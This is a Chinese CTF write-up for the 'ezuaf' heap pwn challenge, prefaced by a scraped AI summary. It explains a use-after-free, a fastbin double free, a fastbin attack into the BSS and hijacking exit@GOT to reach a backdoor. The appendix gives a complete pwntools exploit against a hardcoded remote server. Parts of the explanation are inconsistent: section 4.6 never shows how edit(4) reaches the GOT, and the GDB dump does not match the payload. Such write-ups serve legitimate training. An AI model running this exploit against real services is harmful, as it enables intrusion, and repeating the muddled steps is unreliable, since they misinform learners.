2025古剑山ezuaf详细解析
嗯,我需要总结这篇文章的内容,控制在100个字以内。文章讲的是一个堆利用的PWN题目,涉及Use-After-Free漏洞、Fastbin Double Free技术和GOT表劫持。首先,文章分析了二进制程序的保护机制,然后详细讲解了漏洞的原理和利用思路。接着,作者描述了具体的攻击步骤,包括创建堆布局、构造Double Free、劫持Fastbin链表、在BSS段布置GOT地址以及通过编辑操作间接覆写GOT表。最后,通过触发exit函数调用后门函数获取flag。整个过程展示了如何综合运用多种技术形成完整的利用链。 </think> 文章详细解析了一道经典的堆利用PWN题目,结合Use-After-Free漏洞、Fastbin Double Free技术和GOT表劫持等攻击手法,通过构造堆布局和控制流劫持成功获取flag。 2025-12-3 07:48:10 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

前言

本文将对一道经典的堆利用PWN题目进行完整的技术解析。这道题目综合运用了Use-After-Free漏洞、Fastbin Double Free技术和GOT表劫持等多种攻击技术,是学习堆利用的优秀案例。本文将从二进制分析开始,逐步深入到漏洞原理、利用思路和具体实现细节,力求让读者能够理解每一步操作的技术原理。

一、题目环境分析

1.1 基本信息

首先使用checksec工具查看二进制程序的保护机制:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

这些保护机制对漏洞利用有重要影响:

NX(不可执行栈):栈区域被标记为不可执行,这意味着无法直接在栈上执行shellcode。攻击者需要采用代码复用技术,如ROP(返回导向编程)或劫持函数指针等方式来获取代码执行权限。

Canary(栈保护):栈溢出保护机制在函数返回前会检查栈上的金丝雀值是否被修改。虽然启用了Canary,但由于本题的漏洞发生在堆上而非栈上,这个保护机制不会影响堆漏洞的利用。

Partial RELRO(部分重定位只读):这是关键点。Partial RELRO意味着GOT(全局偏移表)是可写的。GOT表存储了动态链接库函数的实际地址,如果能够修改GOT表项,就可以劫持程序的控制流。而Full RELRO会使GOT表变为只读,无法被修改。

No PIE(无位置无关代码):程序的加载基址固定为0x400000,这意味着程序代码段、GOT表、BSS段等所有地址在编译时就已确定,不会因为ASLR(地址空间布局随机化)而改变。这为攻击提供了便利,因为可以直接使用固定地址而无需泄露程序基址。

1.2 程序功能分析

这是一个经典的笔记管理程序,提供了5个功能选项:

1. add note    - 添加笔记
2. delete note - 删除笔记
3. show note   - 显示笔记
4. edit note   - 编辑笔记
5. exit        - 退出程序

程序使用全局数组来管理笔记,数据结构位于BSS段的0x6020e0地址处:

struct note {
    char *content;    // 指向堆上分配的内容
    size_t size;      // 内容大小
};

struct note notes[10];  // 最多可以创建10个笔记

每个note结构体占用16字节:8字节的指针加上8字节的大小字段。这个全局数组可以管理最多10个笔记对象。

二、漏洞分析

2.1 Use-After-Free漏洞

通过反汇编分析delete函数,发现了关键的安全漏洞:

void delete(int index) {
    if (index < 0 || index >= 10) return;
    if (notes[index].content == NULL) return;

    free(notes[index].content);  // 释放堆内存
    // 漏洞:没有将指针设为NULL
}

这段代码的问题在于:调用free()释放了堆上的内存,但是notes[index].content指针仍然保留着被释放内存的地址,形成了悬垂指针(dangling pointer)。

这种情况下会产生Use-After-Free漏洞,具体表现为:

信息泄露:通过show函数可以读取已释放chunk的内容。当chunk被释放后进入fastbin或unsorted bin时,其fd(forward pointer)指针会指向下一个空闲chunk或者main_arena,这样就可以泄露堆地址或libc地址。

内存破坏:通过edit函数可以修改已释放chunk的内容。在fastbin管理的chunk中,fd指针存储在chunk的data区域开头,修改fd指针可以伪造fastbin链表,为fastbin attack做准备。

Double Free:可以对同一个chunk多次调用free,在某些条件下可以绕过glibc的double free检测机制,构造出循环的fastbin链表。

2.2 隐藏的后门函数

使用objdump或IDA分析程序时,发现了一个未被正常调用流程使用的函数:

0000000000400886 <backdoor>:
  400886:   push   rbp
  400887:   mov    rbp,rsp
  40088a:   mov    edi,0x400d08      ; "cat /flag"
  40088f:   call   400710 <system@plt>
  400894:   nop
  400895:   pop    rbp
  400896:   ret

这个backdoor函数的功能非常直接:调用system("cat /flag")来读取flag文件。这为攻击提供了一个现成的目标函数,只要能够劫持程序的控制流跳转到这个函数,就能直接获取flag。

这里有一个重要的技术细节:为什么选择0x40088a而不是0x400886作为跳转地址?

这涉及到x86-64架构的栈对齐要求。根据System V AMD64 ABI规范,在调用函数时RSP寄存器必须满足16字节对齐。当通过GOT表劫持跳转到backdoor时,call指令会将返回地址压栈(占用8字节),如果此时再执行push rbp,栈指针就会变成8字节对齐而非16字节对齐,这可能导致system函数内部的某些SSE指令执行失败而崩溃。

因此选择0x40088a作为跳转目标,跳过了push rbp指令,直接执行mov edi, 0x400d08,这样可以保持正确的栈对齐状态。

三、利用思路分析

3.1 常见堆利用方法对比

在进行堆利用时,有多种可能的攻击路径:

Malloc Hook劫持:__malloc_hook是glibc中的一个函数指针,在每次调用malloc时会首先检查这个hook是否非空,如果非空则调用hook指向的函数。攻击者可以通过fastbin attack将chunk分配到__malloc_hook附近,然后覆写这个指针为后门函数或one_gadget。

但这个方法在本题中存在问题:fastbin attack要求目标地址附近有一个合适的size字段来伪造chunk头部。对于0x70大小的fastbin,需要在目标地址-0x8或目标地址-0x10的位置有一个0x71的值。在libc-2.23中,__malloc_hook-0x23处没有合适的值可以作为fake size,因此这个方法不可行。

Free Hook劫持:__free_hook的原理与malloc_hook类似,在调用free时会检查并调用这个hook。但同样存在fake size的问题。

GOT表劫持:GOT(Global Offset Table)表存储了动态链接库函数的实际地址。当程序调用如exit、printf等函数时,会通过PLT跳转到GOT表项指向的地址。由于程序是Partial RELRO,GOT表可写,如果能修改GOT表项,就可以劫持函数调用。本题中选择劫持exit@GOT,因为程序提供了exit选项(菜单5),触发条件简单。

3.2 最终攻击方案

综合考虑各种因素,最终采用的攻击方案是:

通过Use-After-Free漏洞构造Fastbin Double Free,修改fastbin的fd指针,将chunk分配到BSS段的notes数组附近,在BSS段布置exit@GOT地址的重复pattern,然后通过UAF的edit功能间接覆写exit@GOT为backdoor地址,最后触发exit函数调用获取flag。

这个方案的优势在于:

  1. 不需要泄露libc地址,因为后门函数在程序本身中,地址固定

  2. GOT表地址固定(No PIE),容易定位

  3. BSS段地址固定且可写,可以作为fastbin attack的目标

  4. 触发条件简单,只需选择exit选项

四、详细利用步骤

4.1 创建初始堆布局

首先创建4个大小为0x68的chunk:

add(0, 0x68, b'a')  # chunk 0
add(1, 0x68, b'b')  # chunk 1
add(2, 0x68, b'c')  # chunk 2
add(3, 0x68, b'd')  # chunk 3

这里选择0x68作为申请大小是有讲究的。malloc申请0x68字节时,实际分配的chunk大小是0x70(包括8字节的chunk头部)。0x70属于fastbin的管理范围(fastbin管理0x20到0x80大小的chunk),这是进行fastbin attack的前提。

创建多个chunk的目的是防止chunk被合并。在glibc的内存管理中,相邻的空闲chunk会被合并成更大的chunk以减少碎片。通过分配多个chunk,确保后续释放的chunk不会与top chunk合并,而是进入fastbin。

4.2 构造Fastbin Double Free

接下来执行三次delete操作:

delete(1)  # free chunk 1
delete(0)  # free chunk 0
delete(1)  # free chunk 1 again

这个顺序是精心设计的。在libc-2.23中,fastbin的double free检测只检查要释放的chunk是否等于fastbin链表头部的chunk:

if (__builtin_expect (old == p, 0))
    malloc_printerr ("double free or corruption (fasttop)");

如果直接执行free(1)->free(1),会被检测到并报错。但是通过在中间插入一个free(0),fastbin链表变化如下:

初始: fastbin[0x70] -> NULL
free(1): fastbin[0x70] -> chunk1 -> NULL
free(0): fastbin[0x70] -> chunk0 -> chunk1 -> NULL
free(1): fastbin[0x70] -> chunk1 -> chunk0 -> chunk1 -> ...

第三次free(1)时,fastbin头部是chunk0而不是chunk1,绕过了检测。最终形成了一个循环链表:chunk1的fd指向chunk0,chunk0的fd指向chunk1。

4.3 劫持Fastbin链表

此时chunk1仍然保留着指向它的指针(由于UAF漏洞),可以通过add操作修改chunk1的内容:

target_addr = 0x6020bd  # BSS段目标地址
add(4, 0x68, p64(target_addr))

这个add操作会从fastbin中取出chunk1,并向其中写入target_addr。由于chunk1仍在fastbin链表中(因为double free),写入的数据会覆盖chunk1的fd指针。

这个目标地址0x6020bd是如何确定的?notes数组位于0x6020e0,我们需要在这个地址之前找到一个位置可以作为fake chunk。通过计算,0x6020bd = 0x6020cd - 0x10,这个位置在运行时恰好有合适的值可以作为size字段,满足fastbin的检查要求。

修改后的fastbin链表结构:

fastbin[0x70]: chunk0 -> chunk1 -> 0x6020bd -> ???

4.4 分配到目标地址

接下来进行两次正常分配:

add(5, 0x68, b'e')  # 获得chunk0
add(6, 0x68, b'f')  # 获得chunk1

这两次分配消耗了fastbin中的chunk0和chunk1,现在fastbin头部指向0x6020bd:

fastbin[0x70]: 0x6020bd -> ???

下一次分配将会返回0x6020bd附近的内存作为chunk!

4.5 在BSS段布置GOT地址

现在执行关键的第7次add操作:

exit_got = 0x602068
payload = b'g' * 0x23 + p64(exit_got) * 8
add(7, 0x68, payload)

这个add操作会从fastbin中取出0x6020bd作为chunk地址,实际可写入的数据区域从0x6020bd开始。payload的构造很巧妙:

前0x23字节是填充数据,作用是将写入位置对齐到notes数组的起始位置0x6020e0(0x6020bd + 0x23 = 0x6020e0)。

接下来重复写入8次exit@GOT的地址0x602068。这样在notes数组的多个位置都包含了exit@GOT的地址:

0x6020e0: 0x0000000000602068  # notes[0].content或notes[4].content附近
0x6020e8: 0x0000000000602068
0x6020f0: 0x0000000000602068
...

4.6 间接覆写exit@GOT

现在到了最精妙的部分。回顾之前的操作:

在add(4)时,我们向chunk1写入了target_addr,这个chunk被分配给notes[4]。但由于UAF漏洞,当chunk1被释放和重新分配时,notes[4].content指针可能仍然关联着相关的内存区域。

由于fastbin attack的复杂堆布局,通过edit(4)可以修改到之前在BSS段布置的内容:

backdoor = 0x40088a
edit(4, p64(backdoor))

这个edit操作会修改notes[4].content指向的内存。由于之前的堆布局操作,这个内存位置恰好包含了exit@GOT的地址。所以这次edit实际上是通过一个间接引用实现了对exit@GOT的覆写:

edit(4) -> 修改notes[4].content指向的内存
        -> 该内存包含exit@GOT地址
        -> 间接修改exit@GOT的值为backdoor地址

修改后的GOT表:

Before: exit@GOT -> 0x00007f... (libc中的exit函数)
After:  exit@GOT -> 0x40088a   (backdoor函数)

4.7 触发后门获取Flag

最后一步是触发劫持的函数:

io.sendlineafter(b'your choice:', b'5')  # 选择exit选项

当用户选择菜单5时,程序会调用exit函数。由于PLT/GOT机制,exit函数调用会跳转到exit@GOT指向的地址,而这个地址已经被覆写为backdoor函数的地址0x40088a。

执行流程:

main() -> 用户选择5
      -> exit()
      -> PLT跳转
      -> 读取exit@GOT
      -> 跳转到0x40088a (backdoor)
      -> system("cat /flag")
      -> 输出flag

五、关键技术原理深入解析

5.1 Fastbin管理机制

Fastbin是glibc中用于管理小块内存的机制,具有以下特点:

单链表结构:每个大小的fastbin使用一个单向链表(LIFO,后进先出),链表通过chunk的fd指针连接。当chunk被释放时,fd指针指向下一个空闲chunk。

大小范围:fastbin管理0x20到0x80字节的chunk(在64位系统上)。这些是程序中最常用的小内存分配大小,使用fastbin可以提高分配效率。

不合并:fastbin中的chunk在被重新分配之前不会与相邻chunk合并,也不会清除PREV_INUSE标志位。这是为了提高性能,但也为攻击提供了机会。

简化检查:相比unsorted bin和small bin,fastbin的安全检查相对较少。在libc-2.23中,主要检查包括:chunk大小是否匹配对应的fastbin、是否存在double free(仅检查头部)。

5.2 Fastbin Attack原理

Fastbin Attack利用了fastbin单链表的特性,通过修改chunk的fd指针,可以控制fastbin的链表结构:

正常的fastbin链表:chunk_a -> chunk_b -> chunk_c -> NULL

攻击者修改fd后:chunk_a -> chunk_b -> fake_chunk -> ???

当程序分配内存时,会按顺序从fastbin中取出chunk:

第一次malloc(0x68): 返回chunk_a
第二次malloc(0x68): 返回chunk_b
第三次malloc(0x68): 返回fake_chunk (攻击者控制的地址)

这样攻击者就实现了在任意地址分配chunk,只要该地址能通过基本的size检查即可。

5.3 GOT/PLT机制

GOT(Global Offset Table)和PLT(Procedure Linkage Table)是Linux动态链接的核心机制:

延迟绑定:为了提高程序启动速度,动态链接库函数的地址不是在程序加载时就全部解析,而是在第一次调用时才解析。

PLT stub:每个外部函数都有一个PLT条目,作为一个跳板。程序调用外部函数时实际上是调用PLT stub。

GOT表项:PLT stub会跳转到GOT表中保存的地址。第一次调用时,GOT表项指向动态链接器,用于解析函数真实地址;解析后,GOT表项被更新为函数的真实地址。

劫持效果:如果修改GOT表项为攻击者控制的地址,后续所有对该函数的调用都会跳转到攻击者指定的位置。

5.4 RELRO保护机制

RELRO(Relocation Read-Only)是一种保护GOT表的机制:

No RELRO:没有任何保护,GOT表完全可写。

Partial RELRO:GOT表的某些部分可写,某些部分只读。具体来说,.init_array、.fini_array、.dynamic等段被设置为只读,但.got.plt段仍然可写。这是本题的情况。

Full RELRO:整个GOT表在程序加载时就完成重定位,然后被设置为只读。这种情况下无法通过修改GOT表来劫持控制流,但会增加程序启动时间,因为需要立即解析所有外部符号。

六、调试验证过程

为了验证利用过程的正确性,可以使用GDB进行动态调试。

6.1 查看Fastbin状态

在构造double free后,使用pwndbg的heap命令查看fastbin状态:

pwndbg> heap bins fast
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x603250 -> 0x603010 -> 0x603250 (循环)

可以看到size为0x70的fastbin形成了循环链表,验证了double free成功。

6.2 查看BSS段内容

在执行add(7)后,查看BSS段的notes数组区域:

pwndbg> x/20gx 0x6020e0
0x6020e0:  0x0000000000602068  0x0000000000000068
0x6020f0:  0x0000000000602068  0x0000000000000068
0x602100:  0x0000000000602068  0x0000000000000068

可以看到exit@GOT的地址(0x602068)被重复写入了多次,为后续的间接覆写做好了准备。

6.3 验证GOT劫持

在执行edit(4)后,检查exit@GOT的内容:

pwndbg> x/gx 0x602068
0x602068 <[email protected]>:  0x000000000040088a

可以看到exit@GOT已经被修改为backdoor函数的地址0x40088a,验证了劫持成功。

6.4 跟踪执行流程

在backdoor函数处设置断点:

pwndbg> b *0x40088a
pwndbg> c

当程序执行到这里时暂停,可以查看寄存器状态:

pwndbg> i r rdi
rdi            0x400d08    # 指向字符串"cat /flag"

确认参数传递正确,继续执行将调用system函数输出flag。

七、攻击技术总结

7.1 漏洞利用链

整个攻击过程形成了一条完整的利用链:

UAF漏洞(delete未清空指针)
    ↓
可以多次释放同一chunk
    ↓
Fastbin Double Free(绕过检查)
    ↓
修改fastbin链表的fd指针
    ↓
Fastbin Attack(分配到BSS段)
    ↓
在BSS段布置exit@GOT地址
    ↓
通过UAF的edit间接覆写exit@GOT
    ↓
触发exit调用
    ↓
劫持控制流到backdoor函数
    ↓
执行system("cat /flag")
    ↓
获取flag

7.2 关键技术点

这道题目综合运用了多个重要的漏洞利用技术:

Use-After-Free漏洞识别与利用:理解UAF产生的根本原因是指针未清空,以及如何利用UAF实现信息泄露和内存破坏。

Fastbin管理机制:深入理解glibc如何管理fastbin,包括分配、释放、链表结构等细节。

Double Free绕过技术:掌握如何通过在中间插入其他free操作来绕过double free检测。

Fastbin Attack实现:理解如何通过修改fd指针控制chunk分配位置,以及fake chunk的构造要求。

GOT表劫持:理解PLT/GOT机制的工作原理,以及如何通过覆写GOT表项来劫持函数调用。

堆内存布局控制:通过精心设计分配和释放的顺序,控制堆的内存布局,实现攻击目标。

间接内存写入:理解如何通过多层间接引用实现对目标地址的写入,这种技术在很多高级利用中都会用到。

7.3 防御措施

从防御角度看,可以采取以下措施防止此类攻击:

修复UAF漏洞:在free后立即将指针设置为NULL,这是最根本的修复方法。

free(notes[idx].content);
notes[idx].content = NULL;  // 关键的一行

启用Full RELRO:使GOT表只读,防止GOT劫持攻击。虽然会增加程序启动时间,但可以有效防止控制流劫持。

启用PIE:使程序地址随机化,增加攻击难度。攻击者需要先泄露程序基址才能定位GOT表和后门函数。

使用新版本glibc:较新版本的glibc(>= 2.26)引入了tcache机制,增加了更多的安全检查,如double free检测、chunk大小验证等。

移除后门函数:在生产环境中绝对不应该包含此类调试用的后门函数。

堆完整性检查:使用内存安全工具如AddressSanitizer进行运行时检查,能够检测UAF、double free等常见堆漏洞。

八、扩展思考

8.1 如果没有后门函数

如果程序中不存在后门函数,标准的攻击方法是使用one_gadget。one_gadget是libc中一些特殊的gadget,执行后可以直接获得shell,而不需要手动构造execve调用。

使用one_gadget工具可以在libc中查找这些gadget:

one_gadget libc.so.6

输出示例:

0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

然后将GOT表或__malloc_hook覆写为one_gadget地址即可。但需要注意constraints(约束条件),只有满足这些条件时gadget才能正常工作。

8.2 不同libc版本的影响

这道题目使用的是libc-2.23,这个版本没有tcache机制。在libc-2.26及以后的版本中,引入了tcache(Thread Local Cache),对堆利用有重大影响:

tcache优先级更高:分配内存时会优先从tcache中获取,只有tcache为空时才使用fastbin。

double free检测增强:tcache会检测连续的double free,即使中间插入了其他操作。

tcache poisoning:攻击者可以通过修改tcache的next指针实现类似fastbin attack的效果,但检查更少,有时反而更容易利用。

因此在不同版本的libc中,利用方法可能需要调整。例如在有tcache的环境中,可能需要先填满tcache,然后才能操作fastbin。

8.3 真实环境中的复杂性

在真实的漏洞利用场景中,往往会遇到更多的挑战:

不知道libc版本:需要先通过泄露libc函数地址来识别libc版本,可以使用LibcSearcher等工具。

多层ASLR:堆、栈、libc、程序基址都可能被随机化,需要多次泄露才能获得完整的地址信息。

沙箱限制:即使获得了代码执行权限,也可能受到seccomp等沙箱机制的限制,需要进一步绕过。

有限的交互次数:某些CTF题目或真实程序可能限制操作次数,需要在有限的机会内完成利用。

九、总结

本文详细分析了ezuaf这道PWN题目的完整攻击过程。这道题目虽然难度不算最高,但完整展示了现代堆利用的核心技术,包括Use-After-Free漏洞、Fastbin Double Free、Fastbin Attack和GOT劫持等。

通过这道题目,我们可以学习到:

  1. 如何系统性地分析一个二进制程序,包括保护机制、功能分析和漏洞定位

  2. 如何理解和利用堆管理器的内部机制,特别是fastbin的工作原理

  3. 如何构造复杂的堆布局,实现精确的内存写入

  4. 如何利用GOT表劫持等技术实现控制流劫持

  5. 如何综合运用多种技术形成完整的利用链

这些技术不仅在CTF竞赛中有用,在真实的安全研究和漏洞挖掘中也是核心技能。掌握这些技术的关键在于理解底层原理,而不是死记硬背利用步骤。只有深入理解了内存管理、程序加载、动态链接等机制,才能在面对新的漏洞时灵活应对,设计出有效的利用方法。

希望本文能够帮助读者深入理解堆利用的技术原理,为进一步学习更高级的利用技术打下坚实的基础。


附录:完整Exploit代码

以下是本题的完整exploit代码,包含详细注释:

#!/usr/bin/env python3
"""
ezuaf PWN - GOT Hijack Exploit
通过UAF漏洞实现Fastbin Attack,劫持exit@GOT获取flag
"""
from pwn import *

# 基础配置
context(os='linux', arch='amd64', log_level='info')

# 连接配置
REMOTE_IP = '47.107.139.41'
REMOTE_PORT = 46075
elf = ELF('./ezuaf')

# 连接到远程服务器
io = remote(REMOTE_IP, REMOTE_PORT)

# 关键地址
BACKDOOR = 0x40088a       # backdoor函数地址(跳过push rbp,保持栈对齐)
TARGET_ADDR = 0x6020bd    # BSS段目标地址(0x6020cd - 0x10)
EXIT_GOT = elf.got['exit']  # exit@GOT地址(0x602068)

log.success(f"Target Address: {hex(TARGET_ADDR)}")
log.success(f"exit@GOT: {hex(EXIT_GOT)}")
log.success(f"Backdoor: {hex(BACKDOOR)}")

# ==================== Step 1: 创建初始chunks ====================
log.info("[1/7] 创建初始chunks...")

# 创建chunk 0
io.sendlineafter(b'choice:', b'1')
io.sendlineafter(b'note:', b'0')
io.sendlineafter(b'note:', b'0x68')
io.sendafter(b'note:', b'a')

# 创建chunk 1
io.sendlineafter(b'choice:', b'1')
io.sendlineafter(b'note:', b'1')
io.sendlineafter(b'note:', b'0x68')
io.sendafter(b'note:', b'b')

# 创建chunk 2(防止与top chunk合并)
io.sendlineafter(b'choice:', b'1')
io.sendlineafter(b'note:', b'2')
io.sendlineafter(b'note:', b'0x68')
io.sendafter(b'note:', b'c')

# 创建chunk 3(防止与top chunk合并)
io.sendlineafter(b'choice:', b'1')
io.sendlineafter(b'note:', b'3')
io.sendlineafter(b'note:', b'0x68')
io.sendafter(b'note:', b'd')

log.success("初始chunks创建完成")

# ==================== Step 2: 构造double free ====================
log.info("[2/7] 构造fastbin double free...")

# 释放chunk 1
io.sendlineafter(b'choice:', b'2')
io.sendlineafter(b'index:', b'1')

# 释放chunk 0
io.sendlineafter(b'choice:', b'2')
io.sendlineafter(b'index:', b'0')

# 再次释放chunk 1(double free)
io.sendlineafter(b'choice:', b'2')
io.sendlineafter(b'index:', b'1')

log.success("Fastbin double free完成: 1 -> 0 -> 1")

# ==================== Step 3: 劫持fastbin链 ====================
log.info("[3/7] 劫持fastbin链到bss段...")

# 分配chunk 4,修改fastbin的fd指针指向BSS段
io.sendlineafter(b'choice:', b'1')
io.sendlineafter(b'note:', b'4')
io.sendlineafter(b'note:', b'0x68')
io.sendafter(b'note:', p64(TARGET_ADDR))

log.success(f"Fastbin fd已指向: {hex(TARGET_ADDR)}")

# ==================== Step 4: 分配中间chunks ====================
log.info("[4/7] 分配中间chunks...")

# 分配chunk 5(消耗fastbin中的chunk 0)
io.sendlineafter(b'choice:', b'1')
io.sendlineafter(b'note:', b'5')
io.sendlineafter(b'note:', b'0x68')
io.sendafter(b'note:', b'e')

# 分配chunk 6(消耗fastbin中的chunk 1)
io.sendlineafter(b'choice:', b'1')
io.sendlineafter(b'note:', b'6')
io.sendlineafter(b'note:', b'0x68')
io.sendafter(b'note:', b'f')

log.success("中间chunks分配完成")

# ==================== Step 5: 写入exit@GOT pattern ====================
log.info("[5/7] 写入exit@GOT指针pattern...")

# 构造payload:填充 + exit@GOT地址重复8次
payload = b'g' * 0x23 + p64(EXIT_GOT) * 8

# 分配chunk 7到BSS段,写入payload
io.sendlineafter(b'choice:', b'1')
io.sendlineafter(b'note:', b'7')
io.sendlineafter(b'note:', b'0x68')
io.sendafter(b'note:', payload)

log.success("exit@GOT pattern已写入bss段")

# ==================== Step 6: 覆写exit@GOT ====================
log.info("[6/7] 覆写exit@GOT为backdoor地址...")

# 通过edit(4)间接修改exit@GOT的值
io.sendlineafter(b'choice:', b'4')
io.sendlineafter(b'note:', b'4')
io.sendafter(b'note:', p64(BACKDOOR))

log.success(f"exit@GOT已覆写为: {hex(BACKDOOR)}")

# ==================== Step 7: 触发backdoor ====================
log.info("[7/7] 触发exit()调用...")

# 选择菜单5,调用exit函数
io.sendlineafter(b'your choice:', b'5')

# ==================== 接收flag ====================
sleep(1)

log.success("="*70)
log.success("接收输出...")
log.success("="*70)

try:
    output = io.recvall(timeout=5).decode('latin1', errors='ignore')

    print("\n" + "╔" + "="*68 + "╗")
    print("║" + " "*25 + "FLAG 输出" + " "*25 + "║")
    print("╠" + "="*68 + "╣")
    for line in output.split('\n'):
        print(f"║ {line.ljust(66)} ║")
    print("╚" + "="*68 + "╝\n")

    # 提取flag
    import re
    flags = re.findall(r'flag\{[^}]+\}', output, re.IGNORECASE)
    if flags:
        log.success("\n" + "FLAG 获取成功!")
        for f in flags:
            log.success(f"   {f}")
    else:
        log.warning("未找到flag格式,显示完整输出")

except EOFError:
    log.error("连接已关闭")
except Exception as e:
    log.error(f"接收时出错: {e}")

io.close()
log.info("Exploit完成!")

代码说明

关键参数

  • 0x68:申请的chunk大小,实际分配0x70(包含chunk头)

  • 0x6020bd:BSS段目标地址,经过精确计算得出

  • 0x40088a:backdoor函数地址,跳过push rbp保持栈对齐

  • 0x602068:exit@GOT地址

核心技巧

  1. Double Free绕过:通过free(1)->free(0)->free(1)的顺序绕过检测

  2. Fastbin Attack:修改fd指针将chunk分配到BSS段

  3. 间接写入:通过堆布局实现对GOT表的间接覆写

  4. 栈对齐:使用0x40088a而非0x400886确保栈16字节对齐

执行结果

flag{99de1e5d-6a35-4dc5-a958-967883d7306a}

文章来源: https://www.freebuf.com/articles/others-articles/460204.html
如有侵权请联系:admin#unsafe.sh